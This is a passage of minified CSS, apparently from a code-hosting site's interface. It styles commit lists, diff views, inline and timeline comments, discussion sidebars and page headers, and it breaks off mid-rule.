.select-menu-modal-holder .select-menu-modal{margin-top:-1px}.table-list-header-next{margin-top:20px;margin-bottom:-1px}.table-list-header-next .table-list-header-select-all{padding-left:14px}.table-list-header-next .select-all-dropdown{padding-top:10px;padding-bottom:10px}.table-list-triage{display:none}.triage-mode .table-list-filters{display:none !important}.triage-mode .table-list-triage{display:block}.breadcrumb{font-size:16px;color:var(--color-fg-muted)}.breadcrumb .separator{white-space:pre-wrap}.breadcrumb .separator::before,.breadcrumb .separator::after{content:" "}.breadcrumb strong.final-path{color:var(--color-fg-default)}.capped-cards{list-style:none}.capped-card-content{display:block;background:var(--color-canvas-subtle)}.capped-card-content::before{display:table;content:""}.capped-card-content::after{display:table;clear:both;content:""}.details-collapse .collapse{position:relative;display:none;height:0;overflow:hidden;transition:height .35s ease-in-out}.details-collapse.open .collapse{display:block;height:auto;overflow:visible}.collapsible-sidebar-widget-button{display:flex;padding:0;align-items:center;background-color:transparent;border:0;justify-content:space-between}.collapsible-sidebar-widget-indicator{transition:transform .25s;transform:translate(0, 0) translate3d(0, 0, 0)}.collapsible-sidebar-widget-loader{display:none;visibility:hidden;opacity:0;transition:opacity .25s;animation-play-state:paused}.collapsible-sidebar-widget-content{width:100%;max-height:0;overflow:hidden;opacity:0;transition:max-height .25s ease-in-out,opacity .25s ease-in-out}.collapsible-sidebar-widget-loading .collapsible-sidebar-widget-indicator{display:none}.collapsible-sidebar-widget-loading .collapsible-sidebar-widget-loader{display:block;visibility:visible;opacity:1;animation-play-state:running}.collapsible-sidebar-widget-active .collapsible-sidebar-widget-content{max-height:100%;overflow:visible;opacity:1}.collapsible-sidebar-widget-active .collapsible-sidebar-widget-indicator{display:block;transform:rotate(180deg)}.collapsible-sidebar-widget-active .collapsible-sidebar-widget-loader{display:none;visibility:hidden;opacity:0}.collapsible-sidebar-widget-active .collapsible-sidebar-widget-active-hidden{display:none;opacity:0}.comment .email-format{line-height:1.5}.previewable-edit .previewable-comment-form{display:none}.previewable-edit .previewable-comment-form::before{display:table;content:""}.previewable-edit .previewable-comment-form::after{display:table;clear:both;content:""}.previewable-edit .previewable-comment-form .tabnav-tabs{display:inline-block}.previewable-edit .previewable-comment-form .form-actions{float:right;margin-right:8px;margin-bottom:8px}.previewable-edit.is-comment-editing .timeline-comment-header{display:none !important}.is-comment-editing .previewable-comment-form{display:block}.is-comment-editing .timeline-comment-actions,.is-comment-editing .edit-comment-hide{display:none}.is-comment-loading .previewable-comment-form{opacity:.5}.comment-show-stale{display:none}.is-comment-stale .comment-show-stale{display:block}.comment-body{width:100%;padding:16px;overflow:visible;font-size:14px}.comment-body .highlight{overflow:visible !important;background-color:transparent}.comment-form-textarea{width:100%;max-width:100%;height:100px;min-height:100px;margin:0;line-height:1.6}.comment-form-textarea.dragover{border:solid 1px var(--color-accent-emphasis)}.hide-reaction-suggestion:hover::before,.hide-reaction-suggestion:hover::after,.hide-reaction-suggestion:active::before,.hide-reaction-suggestion:active::after{display:none}.reaction-suggestion[data-reaction-suggestion-message]:hover::before,.reaction-suggestion[data-reaction-suggestion-message]:hover::after{display:inline-block}.reaction-suggestion[data-reaction-suggestion-message]::before,.reaction-suggestion[data-reaction-suggestion-message]::after{display:inline-block;text-decoration:none;animation-name:tooltip-appear;animation-duration:.1s;animation-fill-mode:forwards;animation-timing-function:ease-in;animation-delay:0s}.reaction-suggestion[data-reaction-suggestion-message]::after{content:attr(data-reaction-suggestion-message)}.discussion-topic-header{position:relative;padding:8px;word-wrap:break-word}.comment-form-error{padding:16px 8px;margin:8px;color:var(--color-fg-default);background-color:var(--color-danger-subtle);border:1px solid var(--color-danger-emphasis);border-radius:6px}.email-format{line-height:1.5em !important}.email-format div{white-space:pre-wrap}.email-format .email-hidden-reply{display:none;white-space:pre-wrap}.email-format .email-hidden-reply.expanded{display:block}.email-format .email-quoted-reply,.email-format .email-signature-reply{padding:0 16px;margin:16px 0;color:var(--color-fg-muted);border-left:4px solid var(--color-border-default)}.email-format .email-hidden-toggle a{display:inline-block;height:12px;padding:0 8px;font-size:12px;font-weight:600;line-height:6px;color:var(--color-fg-default);text-decoration:none;vertical-align:middle;background:var(--color-neutral-muted);border-radius:1px}.email-format .email-hidden-toggle a:hover{background-color:var(--color-accent-muted)}.email-format .email-hidden-toggle a:active{color:var(--color-fg-on-emphasis);background-color:var(--color-accent-emphasis)}.comment-email-format div{white-space:normal}.comment-email-format .email-hidden-reply{display:none;white-space:normal}.comment-email-format .email-hidden-reply.expanded{display:block}.comment-email-format blockquote,.comment-email-format p{margin:0}.locked-conversation .write-tab,.locked-conversation .preview-tab{color:#c6cbd1}.write-tab:focus,.preview-tab:focus{outline:1px dotted var(--color-accent-emphasis)}.manual-file-chooser-transparent{min-height:0;overflow:hidden;opacity:.01}.manual-file-chooser-transparent::-webkit-file-upload-button{cursor:pointer}.manual-file-chooser-transparent:focus{opacity:1 !important}.markdown-body .highlight:hover .zeroclipboard-container,.markdown-body .snippet-clipboard-content:hover .zeroclipboard-container{display:block;animation:fade-in 200ms both}.markdown-body .highlight .zeroclipboard-container,.markdown-body .snippet-clipboard-content .zeroclipboard-container{display:none;animation:fade-out 200ms both}.rich-diff clipboard-copy{display:none}.commit-form{position:relative;padding:16px;border:1px solid var(--color-border-default);border-radius:6px}.commit-form::after,.commit-form::before{position:absolute;top:11px;right:100%;left:-8px;display:block;width:8px;height:16px;pointer-events:none;content:" ";-webkit-clip-path:polygon(0 50%, 100% 0, 100% 100%);clip-path:polygon(0 50%, 100% 0, 100% 100%)}.commit-form::after{margin-left:2px;background-color:var(--color-canvas-default);background-image:linear-gradient(var(--color-canvas-default), var(--color-canvas-default))}.commit-form::before{background-color:var(--color-border-default)}.commit-form .input-block{margin-top:8px;margin-bottom:8px}.commit-form-avatar{float:left;margin-left:-64px;border-radius:6px}.commit-form-actions::before{display:table;content:""}.commit-form-actions::after{display:table;clear:both;content:""}.commit-form-actions .BtnGroup{margin-right:4px}.merge-commit-message{resize:vertical}@media(max-width: 768px){.commit-form::after,.commit-form::before{display:none !important}}.commit-sha{padding:.2em .4em;font-size:90%;font-weight:400;background-color:var(--color-canvas-subtle);border:1px solid var(--color-border-muted);border-radius:.2em}.commit .commit-title,.commit .commit-title a{color:var(--color-fg-default)}.commit .commit-title.blank,.commit .commit-title.blank a{color:var(--color-fg-muted)}.commit .commit-title .issue-link{font-weight:600;color:var(--color-accent-fg)}.commit .sha-block,.commit .sha{font-family:ui-monospace,SFMono-Regular,SF Mono,Menlo,Consolas,Liberation Mono,monospace;font-size:12px}.commit.open .commit-desc{display:block}.commit-link{font-weight:400;color:var(--color-accent-fg)}.commit-ref{position:relative;display:inline-block;padding:0 4px;font:.85em/1.8 ui-monospace,SFMono-Regular,SF Mono,Menlo,Consolas,Liberation Mono,monospace;color:var(--color-fg-muted);white-space:nowrap;background-color:var(--color-accent-subtle);border-radius:6px}.commit-ref .user{color:var(--color-accent-fg)}a.commit-ref:hover{color:var(--color-accent-fg);text-decoration:none;background-color:var(--color-accent-subtle)}.commit-desc{display:none}.commit-desc pre{max-width:700px;margin-top:8px;font-family:ui-monospace,SFMono-Regular,SF Mono,Menlo,Consolas,Liberation Mono,monospace;font-size:11px;line-height:1.45;color:var(--color-fg-default);white-space:pre-wrap}.commit-desc+.commit-branches{padding-top:8px;margin-top:2px;border-top:solid 1px var(--color-border-subtle)}.commit-author-section{color:var(--color-fg-default)}.commit-author-section span.user-mention{font-weight:400}.commit-tease-sha{display:inline-block;font-family:ui-monospace,SFMono-Regular,SF Mono,Menlo,Consolas,Liberation Mono,monospace;font-size:90%;color:var(--color-fg-default)}.commits-list-item[aria-selected=true],.commits-list-item.navigation-focus{background:#f6fbff}.commits-list-item .commit-title{margin:0;font-size:16px;font-weight:600;color:var(--color-fg-default)}.commits-list-item .commit-meta{margin-top:1px;font-weight:400;color:var(--color-fg-muted)}.commits-list-item .status .octicon{height:14px;line-height:14px}.commits-list-item .commit-author{color:var(--color-fg-muted)}.commits-list-item .octicon-arrow-right{margin:0 4px}.commits-list-item .btn-outline{margin-top:2px}.commits-list-item .commit-desc pre{margin-top:4px;margin-bottom:8px;color:var(--color-fg-muted)}.commits-list-item .commit-desc pre a{word-break:break-word}.commit-indicator{margin-left:4px}.commit-links-group{margin-right:4px}.commits-list-item+.commits-list-item{border-top:1px solid var(--color-border-default)}.full-commit{padding:8px 8px 0;margin:8px 0;font-size:14px;background:var(--color-neutral-subtle);border:1px solid var(--color-border-default);border-radius:6px}.full-commit:first-child{margin-top:0}.full-commit div.commit-title{font-size:16px;font-weight:600;color:var(--color-fg-default)}.full-commit .branches-list{display:inline;margin-right:8px;margin-left:2px;vertical-align:middle;list-style:none}.full-commit .branches-list li{display:inline-block;padding-left:4px;font-weight:600;color:var(--color-fg-default)}.full-commit .branches-list li::before{padding-right:4px;font-weight:400;content:"+"}.full-commit .branches-list li:first-child{padding-left:0}.full-commit .branches-list li:first-child::before{padding-right:0;content:""}.full-commit .branches-list li.loading{font-weight:400;color:var(--color-fg-muted)}.full-commit .branches-list li.pull-request{font-weight:400;color:var(--color-fg-muted)}.full-commit .branches-list li.pull-request::before{margin-left:-8px;content:""}.full-commit .branches-list li.pull-request-error{margin-bottom:-1px}.full-commit .branches-list li a{color:inherit}.full-commit .commit-meta{padding:8px;margin-right:-8px;margin-left:-8px;background:var(--color-canvas-default);border-top:1px solid var(--color-border-default);border-bottom-right-radius:6px;border-bottom-left-radius:6px}.full-commit .sha-block{margin-left:16px;font-size:12px;line-height:24px;color:var(--color-fg-muted)}.full-commit .sha-block>.sha{color:var(--color-fg-default)}.full-commit .sha-block>a{color:var(--color-fg-default);text-decoration:none;border-bottom:1px dotted var(--color-border-muted)}.full-commit .sha-block>a:hover{border-bottom:1px solid var(--color-border-default)}.full-commit .commit-desc{display:block;margin:-4px 0 8px}.full-commit .commit-desc pre{max-width:100%;overflow:visible;font-size:13px;word-wrap:break-word}.commit-branches{font-size:12px;color:var(--color-fg-muted);vertical-align:middle}.commit-branches .octicon{vertical-align:middle}.commit-build-statuses{position:relative;display:inline-block;text-align:left}.commit-build-statuses .dropdown-menu{min-width:362.6666666667px;max-width:544px;padding-top:0;padding-bottom:0}.commit-build-statuses .dropdown-menu .merge-status-list{max-height:170px;border-bottom:0}.commit-build-statuses .dropdown-menu-w,.commit-build-statuses .dropdown-menu-e{top:-11px}.commit-build-statuses .merge-status-item:last-child{border-radius:0 0 6px 6px}.dropdown-signed-commit .dropdown-menu{width:260px;margin-top:8px;font-size:14px;line-height:1.4;white-space:normal}.dropdown-signed-commit .dropdown-menu::after{border-bottom-color:var(--color-canvas-subtle)}.dropdown-signed-commit .dropdown-menu-w{top:-28px;margin-top:0}.dropdown-signed-commit .dropdown-menu-w::after{border-bottom-color:transparent;border-left-color:var(--color-canvas-subtle)}.signed-commit-header{line-height:1.3;white-space:normal;border-collapse:separate;background-color:var(--color-canvas-subtle);border-bottom:1px solid var(--color-border-default);border-top-left-radius:6px;border-top-right-radius:6px}.signed-commit-header .octicon-verified{color:var(--color-success-fg)}.signed-commit-header .octicon-unverified{color:var(--color-fg-muted)}.signed-commit-footer{font-size:12px;line-height:1.5}.signed-commit-cert-info{margin-bottom:4px}.signed-commit-cert-info td{vertical-align:top}.signed-commit-cert-info td:first-child{width:44px;padding-right:12px}.signed-commit-badge{display:inline-block;padding:1px 4px;font-size:12px;color:var(--color-fg-muted);vertical-align:middle;-webkit-user-select:none;user-select:none;background:none;border:1px solid var(--color-border-default);border-radius:6px}.signed-commit-badge:hover{text-decoration:none;border-color:var(--color-neutral-muted)}.signed-commit-badge.verified{color:var(--color-success-fg)}.signed-commit-badge.verified:hover{border-color:var(--color-success-emphasis)}.signed-commit-badge.unverified{color:var(--color-attention-fg)}.signed-commit-badge.unverified:hover{border-color:var(--color-attention-emphasis)}.signed-commit-badge-small{margin-top:-2px;margin-right:4px}.signed-commit-badge-medium{padding:4px 8px;font-size:12px;border-radius:6px}.signed-commit-badge-large{padding:4px 12px;margin-right:8px;font-size:14px;line-height:20px;border-radius:6px}.signed-commit-verified-label{color:#1e7e34}.signed-commit-signer-name{font-size:14px;text-align:left}.signed-commit-signer-name .signer{display:block;font-weight:600;color:var(--color-fg-default)}.table-of-contents{margin:16px 0}.table-of-contents li{padding:8px 0;list-style-type:none}.table-of-contents li+li{border-top:1px solid var(--color-border-muted)}.table-of-contents li>.octicon{margin-right:4px}.table-of-contents .toc-diff-stats{padding-left:16px;line-height:26px}.table-of-contents .toc-diff-stats .octicon{float:left;margin-top:4px;margin-left:-16px;color:#c6cbd1}.table-of-contents .toc-diff-stats .btn-link{font-weight:600}.table-of-contents .toc-diff-stats+.content{padding-top:4px}.table-of-contents .octicon-diff-removed{color:var(--color-danger-fg)}.table-of-contents .octicon-diff-renamed{color:var(--color-fg-muted)}.table-of-contents .octicon-diff-modified{color:var(--color-attention-fg)}.table-of-contents .octicon-diff-added{color:var(--color-success-fg)}.copyable-terminal{position:relative;padding:8px 55px 8px 8px;background-color:var(--color-canvas-subtle);border-radius:6px}.copyable-terminal-content{overflow:auto}.copyable-terminal-button{position:absolute;top:5px;right:5px}.copyable-terminal-button .zeroclipboard-button{float:right}.copyable-terminal-button .zeroclipboard-button .octicon{padding-left:1px;margin:0 auto}.blob-wrapper{overflow-x:auto;overflow-y:hidden}.blob-wrapper table tr:nth-child(2n){background-color:transparent}.page-edit-blob.height-full .CodeMirror{height:300px}.page-edit-blob.height-full .CodeMirror,.page-edit-blob.height-full .CodeMirror-scroll{display:flex;flex-direction:column;flex:1 1 auto}.blob-wrapper-embedded{max-height:240px;overflow-y:auto}.diff-table{width:100%;border-collapse:separate}.diff-table .blob-code.blob-code-inner{padding-left:22px}.diff-table .line-comments{padding:10px;vertical-align:top;border-top:1px solid var(--color-border-default)}.diff-table .line-comments:first-child+.empty-cell{border-left-width:1px}.diff-table tr:not(:last-child) .line-comments{border-top:1px solid var(--color-border-default);border-bottom:1px solid var(--color-border-default)}.diff-view .blob-code-marker-context::before,.diff-view .blob-code-marker-injected_context::before,.diff-view .blob-code-marker-addition::before,.diff-view .blob-code-marker-deletion::before{top:4px}.diff-view .line-alert,.diff-table .line-alert{position:absolute;left:-60px;margin:2px}.comment-body .diff-view .line-alert{left:0}.blob-num{position:relative;width:1%;min-width:50px;padding-right:10px;padding-left:10px;font-family:ui-monospace,SFMono-Regular,SF Mono,Menlo,Consolas,Liberation Mono,monospace;font-size:12px;line-height:20px;color:var(--color-fg-subtle);text-align:right;white-space:nowrap;vertical-align:top;cursor:pointer;-webkit-user-select:none;user-select:none}.blob-num:hover{color:var(--color-fg-default)}.blob-num::before{content:attr(data-line-number)}.blob-num.non-expandable{cursor:default}.blob-num.non-expandable:hover{color:var(--color-fg-subtle)}.blob-num-hidden::before{visibility:hidden}.blob-code{position:relative;padding-right:10px;padding-left:10px;line-height:20px;vertical-align:top}.blob-code-inner{overflow:visible;font-family:ui-monospace,SFMono-Regular,SF Mono,Menlo,Consolas,Liberation Mono,monospace;font-size:12px;color:var(--color-fg-default);word-wrap:normal;white-space:pre}.blob-code-inner .x-first{border-top-left-radius:.2em;border-bottom-left-radius:.2em}.blob-code-inner .x-last{border-top-right-radius:.2em;border-bottom-right-radius:.2em}.blob-code-inner.highlighted,.blob-code-inner .highlighted{background-color:var(--color-attention-subtle);box-shadow:inset 2px 0 0 var(--color-attention-muted)}.blob-code-inner::selection,.blob-code-inner *::selection{background-color:var(--color-accent-muted)}.blob-code-inner.blob-code-addition,.blob-code-inner.blob-code-deletion{position:relative;padding-left:22px !important}.blob-code-marker::before{position:absolute;top:1px;left:8px;padding-right:8px;content:attr(data-code-marker)}.blob-code-context,.blob-code-addition,.blob-code-deletion{padding-left:22px}.blob-code-marker-addition::before{position:absolute;top:1px;left:8px;content:"+ "}.blob-code-marker-deletion::before{position:absolute;top:1px;left:8px;content:"- "}.blob-code-marker-context::before{position:absolute;top:1px;left:8px;content:" "}.blob-code-marker-injected_context::before{position:absolute;top:1px;left:8px;content:" "}.soft-wrap .diff-table{table-layout:fixed}.soft-wrap .blob-code{padding-left:18px;text-indent:-7px}.soft-wrap .blob-code-inner{word-wrap:break-word;white-space:pre-wrap}.soft-wrap .no-nl-marker{display:none}.soft-wrap .add-line-comment{margin-top:0;margin-left:-24px}.soft-wrap .blob-code-context,.soft-wrap .blob-code-addition,.soft-wrap .blob-code-deletion{padding-left:24px;text-indent:0}.blob-num-hunk,.blob-code-hunk,.blob-num-expandable{color:var(--color-fg-muted);vertical-align:middle}.blob-num-hunk,.blob-num-expandable{background-color:var(--color-diff-blob-hunk-num-bg)}.blob-code-hunk{padding-top:4px;padding-bottom:4px;background-color:var(--color-accent-subtle);border-width:1px 0}.blob-expanded .blob-num:not(.blob-num-context-outside-diff),.blob-expanded .blob-code:not(.blob-code-context){background-color:var(--color-canvas-subtle)}.blob-expanded+tr.show-top-border:not(.blob-expanded) .blob-num,.blob-expanded+tr.show-top-border:not(.blob-expanded) .blob-code{border-top:1px solid var(--color-border-muted)}.blob-expanded tr.show-top-border .blob-num-hunk,.blob-expanded tr.show-top-border .blob-num{border-top:1px solid var(--color-border-muted)}tr.show-top-border+.blob-expanded .blob-num,tr.show-top-border+.blob-expanded .blob-code{border-top:1px solid var(--color-border-muted)}.blob-num-expandable{width:auto;padding:0;font-size:12px;text-align:center}.blob-num-expandable .directional-expander{display:block;width:auto;height:auto;margin-right:-1px;color:var(--color-diff-blob-expander-icon);cursor:pointer}.blob-num-expandable .single-expander{padding-top:4px;padding-bottom:4px}.blob-num-expandable .directional-expander:hover{color:var(--color-fg-on-emphasis);text-shadow:none;background-color:var(--color-accent-emphasis);border-color:var(--color-accent-emphasis)}.blob-code-addition{background-color:var(--color-diff-blob-addition-line-bg);outline:1px dotted transparent}.blob-code-addition .x{color:var(--color-diff-blob-addition-fg);background-color:var(--color-diff-blob-addition-word-bg)}.blob-num-addition{color:var(--color-diff-blob-addition-num-text);background-color:var(--color-diff-blob-addition-num-bg);border-color:var(--color-success-emphasis)}.blob-num-addition:hover{color:var(--color-fg-default)}.blob-code-deletion{background-color:var(--color-diff-blob-deletion-line-bg);outline:1px dashed transparent}.blob-code-deletion .x{color:var(--color-diff-blob-deletion-fg);background-color:var(--color-diff-blob-deletion-word-bg)}.blob-num-deletion{color:var(--color-diff-blob-deletion-num-text);background-color:var(--color-diff-blob-deletion-num-bg);border-color:var(--color-danger-emphasis)}.blob-num-deletion:hover{color:var(--color-fg-default)}.is-selecting{cursor:ns-resize !important}.is-selecting .blob-num{cursor:ns-resize !important}.is-selecting .add-line-comment,.is-selecting a{pointer-events:none;cursor:ns-resize !important}.is-selecting .is-hovered .add-line-comment{opacity:0}.is-selecting.file-diff-split{cursor:nwse-resize !important}.is-selecting.file-diff-split .blob-num{cursor:nwse-resize !important}.is-selecting.file-diff-split .empty-cell,.is-selecting.file-diff-split .add-line-comment,.is-selecting.file-diff-split a{pointer-events:none;cursor:nwse-resize !important}.selected-line{position:relative}.selected-line::after{position:absolute;top:0;left:0;display:block;width:100%;height:100%;box-sizing:border-box;pointer-events:none;content:"";background:var(--color-attention-subtle);mix-blend-mode:var(--color-diff-blob-selected-line-highlight-mix-blend-mode)}.selected-line.selected-line-top::after{border-top:1px solid var(--color-attention-muted)}.selected-line.selected-line-bottom::after{border-bottom:1px solid var(--color-attention-muted)}.selected-line:first-child::after,.selected-line.selected-line-left::after{border-left:1px solid var(--color-attention-muted)}.selected-line:last-child::after,.selected-line.selected-line-right::after{border-right:1px solid var(--color-attention-muted)}.is-commenting .selected-line.blob-code::before{position:absolute;top:0;left:-1px;display:block;width:4px;height:100%;content:"";background:var(--color-accent-emphasis)}.add-line-comment{position:relative;z-index:1;float:left;width:22px;height:22px;margin:-2px -10px -2px -32px;line-height:21px;color:var(--color-fg-on-emphasis);text-align:center;text-indent:0;cursor:pointer;background-color:var(--color-accent-emphasis);border-radius:6px;box-shadow:var(--color-shadow-medium);opacity:0;transition:transform .1s ease-in-out;transform:scale(0.8, 0.8)}.add-line-comment:hover{transform:scale(1, 1)}.is-hovered .add-line-comment,.add-line-comment:focus{opacity:1}.add-line-comment .octicon{vertical-align:text-top;pointer-events:none}.add-line-comment.octicon-check{background:#333;opacity:1}.inline-comment-form{border:1px solid #dfe2e5;border-radius:6px}.timeline-inline-comments{width:100%;table-layout:fixed}.timeline-inline-comments .inline-comments,.show-inline-notes .inline-comments{display:table-row}.inline-comments{display:none}.inline-comments .line-comments+.blob-num{border-left-width:1px}.inline-comments .timeline-comment{margin-bottom:10px}.inline-comments .inline-comment-form,.inline-comments .inline-comment-form-container{max-width:780px}.comment-holder{max-width:780px}.comment-holder+.comment-holder{margin-top:16px}.line-comments+.line-comments,.empty-cell+.line-comments{border-left:1px solid var(--color-border-muted)}.inline-comment-form-container .inline-comment-form,.inline-comment-form-container.open .inline-comment-form-actions{display:none}.inline-comment-form-container .inline-comment-form-actions,.inline-comment-form-container.open .inline-comment-form{display:block}body.full-width .container,body.full-width .container-lg,body.full-width .container-xl{width:100%;max-width:none;padding-right:20px;padding-left:20px}body.full-width .repository-content{width:100%}body.full-width .new-pr-form{max-width:980px}.file-diff-split{table-layout:fixed}.file-diff-split .blob-code+.blob-num{border-left:1px solid var(--color-border-muted)}.file-diff-split .blob-code-inner{word-wrap:break-word;white-space:pre-wrap}.file-diff-split .empty-cell{cursor:default;background-color:var(--color-neutral-subtle);border-right-color:var(--color-border-muted)}@media(max-width: 1280px){.file-diff-split .write-selected .comment-form-head{margin-bottom:48px !important}.file-diff-split markdown-toolbar{position:absolute;right:8px;bottom:-40px}}.submodule-diff-stats .octicon-diff-removed{color:var(--color-danger-fg)}.submodule-diff-stats .octicon-diff-renamed{color:var(--color-fg-muted)}.submodule-diff-stats .octicon-diff-modified{color:var(--color-attention-fg)}.submodule-diff-stats .octicon-diff-added{color:var(--color-success-fg)}.BlobToolbar{left:-17px}.BlobToolbar-dropdown{margin-left:-2px}.pl-token:hover,.pl-token.active{cursor:pointer;background:#ffea7f}.discussion-timeline{position:relative;float:left}.discussion-timeline::before{position:absolute;top:0;bottom:0;left:72px;z-index:0;display:block;width:2px;content:"";background-color:var(--color-border-default)}.discussion-sidebar-item{padding-top:16px;font-size:12px;color:var(--color-fg-muted)}.discussion-sidebar-item .btn .octicon{margin-right:0}.discussion-sidebar-item .muted-icon{color:var(--color-fg-muted)}.discussion-sidebar-item .muted-icon:hover{color:var(--color-accent-fg);text-decoration:none;cursor:pointer}.discussion-sidebar-item+.discussion-sidebar-item{margin-top:16px;border-top:1px solid var(--color-border-muted)}.discussion-sidebar-item .select-menu{position:relative}.discussion-sidebar-item .select-menu-modal-holder{top:25px;right:-1px;left:auto}.discussion-sidebar-heading{margin-bottom:8px;font-size:12px;color:var(--color-fg-muted)}.discussion-sidebar-toggle{padding:4px 0;margin:-4px 0 4px}.discussion-sidebar-toggle .octicon{float:right;color:var(--color-fg-muted)}.discussion-sidebar-toggle:hover{color:var(--color-accent-fg);text-decoration:none;cursor:pointer}.discussion-sidebar-toggle:hover .octicon{color:inherit}button.discussion-sidebar-toggle{display:block;width:100%;font-weight:600;text-align:left;background:none;border:0}.sidebar-progress-bar .progress-bar{height:8px;margin-bottom:2px;border-radius:6px}.sidebar-assignee .css-truncate-target{max-width:110px}.sidebar-assignee .assignee{font-weight:600;color:var(--color-fg-muted);vertical-align:middle}.sidebar-assignee .assignee:hover{color:var(--color-accent-fg);text-decoration:none}.sidebar-assignee .reviewers-status-icon{width:14px}.sidebar-assignee .octicon{margin-top:2px}.thread-subscribe-form.is-error .thread-subscribe-button{color:var(--color-danger-fg)}.sidebar-notifications{position:relative}.sidebar-notifications .thread-subscription-status{padding:0;margin:0;border:0}.sidebar-notifications .thread-subscription-status .thread-subscribe-form{display:block}.sidebar-notifications .thread-subscription-status .reason{padding:0;margin:4px 0 0}.sidebar-notifications .thread-subscription-status .btn-sm{display:block;width:100%}.participation .participant-avatar{float:left;margin:4px 0 0 4px}.participation a{color:var(--color-fg-muted)}.participation a:hover{color:var(--color-accent-fg);text-decoration:none}.participation-avatars{margin-left:-4px}.participation-avatars::before{display:table;content:""}.participation-avatars::after{display:table;clear:both;content:""}.participation-more{float:left;margin:8px 4px 0}.inline-comment-form .form-actions,.timeline-new-comment .form-actions{padding:0 8px 8px}.inline-comment-form::before{display:table;content:""}.inline-comment-form::after{display:table;clear:both;content:""}.inline-comment-form .tabnav-tabs{display:inline-block}.inline-comment-form .form-actions{float:right}.gh-header-actions{float:right;margin-top:4px}.gh-header-actions .btn-sm{float:left;margin-left:4px}.gh-header-actions .btn-sm .octicon{margin-right:0}.gh-header{background-color:var(--color-canvas-default)}.gh-header .gh-header-sticky{height:1px}.gh-header .gh-header-sticky .meta{font-size:12px}.gh-header .gh-header-sticky .sticky-content,.gh-header .gh-header-sticky .gh-header-shadow{display:none}.gh-header .gh-header-sticky.is-stuck{z-index:110;height:60px}.gh-header .gh-header-sticky.is-stuck .sticky-content{display:block}.gh-header .gh-header-sticky.is-stuck .css-truncate-target{max-width:150px}.gh-header .gh-header-sticky.is-stuck+.gh-header-shadow{position:fixed;top:0;right:0;left:0;z-index:109;display:block;height:60px;content:"";background-color:var(--color-canvas-default);border-bottom:1px solid var(--color-border-default)}.gh-header .gh-header-edit{display:none}.gh-header .gh-header-meta .base-ref{display:inline-block}.gh-header .gh-header-meta .commit-ref-dropdown{display:none}.gh-header.open .gh-header-show{display:none}.gh-header.open .gh-header-edit{display:block}.gh-header.open .gh-header-meta .base-ref{display:none}.gh-header.open .gh-header-meta .commit-ref-dropdown{display:inline-block;margin-top:-4px;vertical-align:top}.gh-header-title{margin-right:150px;margin-bottom:0;font-weight:400;line-height:1.125;word-wrap:break-word}.gh-header-no-access .gh-header-title{margin-right:0}.gh-header-number{font-weight:300;color:var(--color-fg-muted)}.gh-header-meta{padding-bottom:8px;margin-top:8px;font-size:14px;color:var(--color-fg-muted);border-bottom:1px solid var(--color-border-default)}.gh-header.issue .gh-header-meta{margin-bottom:16px}.gh-header.pull .gh-header-meta{padding-bottom:0;border-bottom:0}.gh-header-meta .commit-ref .css-truncate-target,.gh-header-meta .commit-ref:hover .css-truncate-target{max-width:80vw}.gh-header-meta .State{margin-right:8px}.gh-header-meta .avatar{float:left;margin-top:-4px;margin-right:4px}.timeline-comment-wrapper{position:relative;padding-left:56px;margin-top:16px;margin-bottom:16px}.timeline-comment-avatar{float:left;margin-left:-56px;border-radius:6px}.timeline-comment-avatar .avatar{width:40px;height:40px}.timeline-comment-avatar .avatar-child{width:20px;height:20px}.timeline-comment{position:relative;color:var(--color-fg-default);background-color:var(--color-canvas-default);border:1px solid var(--color-border-default);border-radius:6px}.timeline-comment.will-transition-once{transition:border-color .65s ease-in-out}.timeline-comment.will-transition-once .timeline-comment-header{transition:background-color .65s ease,border-bottom-color .65s ease-in-out}.timeline-comment.will-transition-once::before,.timeline-comment.will-transition-once::after{transition:border-right-color .65s ease-in-out}.timeline-comment.current-user{border-color:var(--color-accent-muted)}.timeline-comment.current-user .timeline-comment-header{background-color:var(--color-accent-subtle);border-bottom-color:var(--color-accent-muted)}.timeline-comment.current-user .Label{border-color:var(--color-accent-muted)}.timeline-comment.current-user .previewable-comment-form .comment-form-head.tabnav{color:var(--color-accent-muted);background-color:var(--color-accent-subtle);border-bottom-color:var(--color-accent-muted)}.timeline-comment.unread-item,.timeline-comment.is-internal{border-color:var(--color-attention-muted)}.timeline-comment.unread-item .timeline-comment-header,.timeline-comment.is-internal .timeline-comment-header{background-color:var(--color-attention-subtle);border-bottom-color:var(--color-attention-muted)}.timeline-comment.unread-item .Label,.timeline-comment.is-internal .Label{border-color:var(--color-attention-muted)}.timeline-comment.unread-item .previewable-comment-form .comment-form-head.tabnav,.timeline-comment.is-internal .previewable-comment-form .comment-form-head.tabnav{color:var(--color-attention-muted);background-color:var(--color-attention-subtle);border-bottom-color:var(--color-attention-muted)}.timeline-comment:empty{display:none}.timeline-comment .comment+.comment{border-top:1px solid var(--color-border-default)}.timeline-comment .comment+.comment::before,.timeline-comment .comment+.comment::after{display:none}.timeline-comment .comment+.comment .timeline-comment-header{border-top-left-radius:0;border-top-right-radius:0}.timeline-comment--caret::after,.timeline-comment--caret::before{position:absolute;top:11px;right:100%;left:-8px;display:block;width:8px;height:16px;pointer-events:none;content:" ";-webkit-clip-path:polygon(0 50%, 100% 0, 100% 100%);clip-path:polygon(0 50%, 100% 0, 100% 100%)}.timeline-comment--caret::after{margin-left:2px;background-color:var(--color-canvas-default);background-image:linear-gradient(var(--color-canvas-subtle), var(--color-canvas-subtle))}.timeline-comment--caret::before{background-color:var(--color-border-default)}.is-pending .timeline-comment--caret::after,.is-pending .timeline-comment--caret::before{position:absolute;top:11px;right:100%;left:-8px;display:block;width:8px;height:16px;pointer-events:none;content:" ";-webkit-clip-path:polygon(0 50%, 100% 0, 100% 100%);clip-path:polygon(0 50%, 100% 0, 100% 100%)}.is-pending .timeline-comment--caret::after{margin-left:2px;background-color:var(--color-canvas-default);background-image:linear-gradient(var(--color-attention-subtle), var(--color-attention-subtle))}.is-pending .timeline-comment--caret::before{background-color:var(--color-attention-emphasis)}.timeline-comment--caret.current-user::after,.timeline-comment--caret.current-user::before{position:absolute;top:11px;right:100%;left:-8px;display:block;width:8px;height:16px;pointer-events:none;content:" ";-webkit-clip-path:polygon(0 50%, 100% 0, 100% 100%);clip-path:polygon(0 50%, 100% 0, 100% 100%)}.timeline-comment--caret.current-user::after{margin-left:2px;background-color:var(--color-canvas-default);background-image:linear-gradient(var(--color-accent-subtle), 